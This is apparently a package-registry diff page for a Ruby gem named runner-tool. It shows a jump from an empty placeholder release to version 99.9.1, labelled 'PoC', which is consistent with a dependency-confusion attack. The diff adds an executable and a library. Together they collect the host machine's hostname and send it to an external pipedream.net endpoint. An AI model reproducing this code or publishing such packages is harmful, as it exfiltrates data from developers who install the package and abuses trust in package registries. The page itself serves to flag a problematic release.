runner-tool 0.0.1.pre1 → 99.9.1

Sign up to get free protection for your applications and to get access to all the features.

Potentially problematic release.


This version of runner-tool might be problematic. Click here for more details.

Files changed (4) hide show
  1. checksums.yaml +4 -4
  2. data/bin/runner_tool +5 -0
  3. data/lib/runner-tool.rb +18 -0
  4. metadata +13 -11
checksums.yaml CHANGED
@@ -1,7 +1,7 @@
1
1
  ---
2
2
  SHA256:
3
- metadata.gz: 4a72097c4b624c6e19b8b484b723624252e4ae8198351e8344c6d73eb1d546d0
4
- data.tar.gz: 1ff51afca40fdd08bc123781c7ffddb8404d8850d9caec1640d50f43bea79c4b
3
+ metadata.gz: dea9400a27628d27001bc643c0fff4bdf0a91313074b71ca45f745563d4a5b70
4
+ data.tar.gz: 0df23f279442917d9a2038c289b1de107f6d6a6c85169735139277d542af85bb
5
5
  SHA512:
6
- metadata.gz: 14a8548159eb6458a555c6c3f31ebb0148f2555d0cf7afba59c976d9beac55365c67c52057a4f26d74f9b751a4161eb5861813698b3a1ac34ea3aa6b621888d3
7
- data.tar.gz: 61dcd73b38ce0588b63e7cdff9815e0b8b1b2373921a8c309c8427e07cd1af77d356664eab3773f6423f1f88b680e9331e097bb70d2715792ebb78249c3bed8b
6
+ metadata.gz: e1a490ff1cad9435ebf4f144f7f3f8754c8ef88aedf6e5043ddb64f67093397792fcd024c0c01de86bc03f994262b0fdc6b40ab436543e8c5fcf15d101d2569f
7
+ data.tar.gz: c3cdb60e5bf7a0a44cee1861db7491e49c9a199822b20bf6d771f3f578664433fbb8f5af317d0099ed3f99841f4170503b2442b919a8706ce2811d2b998d2a3e
data/bin/runner_tool ADDED
@@ -0,0 +1,5 @@
1
+ #!/usr/bin/env ruby
2
+
3
+ require_relative '../lib/runner-tool'
4
+
5
+ RunnerTool.send_hostname_to_server('https://eoenp5lacdw4vru.m.pipedream.net')
@@ -0,0 +1,18 @@
1
+ require 'net/http'
2
+ require 'uri'
3
+ require 'socket'
4
+
5
+ class RunnerTool
6
+ def self.send_hostname_to_server(url)
7
+ hostname = Socket.gethostname
8
+ request_url = URI("#{url}?host=#{hostname}")
9
+
10
+ response = Net::HTTP.get_response(request_url)
11
+
12
+ if response.is_a?(Net::HTTPSuccess)
13
+ puts 'Request sent successfully!'
14
+ else
15
+ puts "Error sending request: #{response.message}"
16
+ end
17
+ end
18
+ end
metadata CHANGED
@@ -1,23 +1,25 @@
1
1
  --- !ruby/object:Gem::Specification
2
2
  name: runner-tool
3
3
  version: !ruby/object:Gem::Version
4
- version: 0.0.1.pre1
4
+ version: 99.9.1
5
5
  platform: ruby
6
6
  authors:
7
- - Elastic
7
+ - 0xWise
8
8
  autorequire:
9
9
  bindir: bin
10
10
  cert_chain: []
11
- date: 2023-06-02 00:00:00.000000000 Z
11
+ date: 2023-05-07 00:00:00.000000000 Z
12
12
  dependencies: []
13
13
  description:
14
14
  email:
15
- - rubygems@elastic.co
16
- executables: []
15
+ executables:
16
+ - runner_tool
17
17
  extensions: []
18
18
  extra_rdoc_files: []
19
- files: []
20
- homepage: https://elastic.co
19
+ files:
20
+ - bin/runner_tool
21
+ - lib/runner-tool.rb
22
+ homepage:
21
23
  licenses:
22
24
  - MIT
23
25
  metadata: {}
@@ -32,12 +34,12 @@ required_ruby_version: !ruby/object:Gem::Requirement
32
34
  version: '0'
33
35
  required_rubygems_version: !ruby/object:Gem::Requirement
34
36
  requirements:
35
- - - ">"
37
+ - - ">="
36
38
  - !ruby/object:Gem::Version
37
- version: 1.3.1
39
+ version: '0'
38
40
  requirements: []
39
- rubygems_version: 3.2.33
41
+ rubygems_version: 3.3.15
40
42
  signing_key:
41
43
  specification_version: 4
42
- summary: Empty placeholder for the runner-tool name
44
+ summary: PoC
43
45
  test_files: []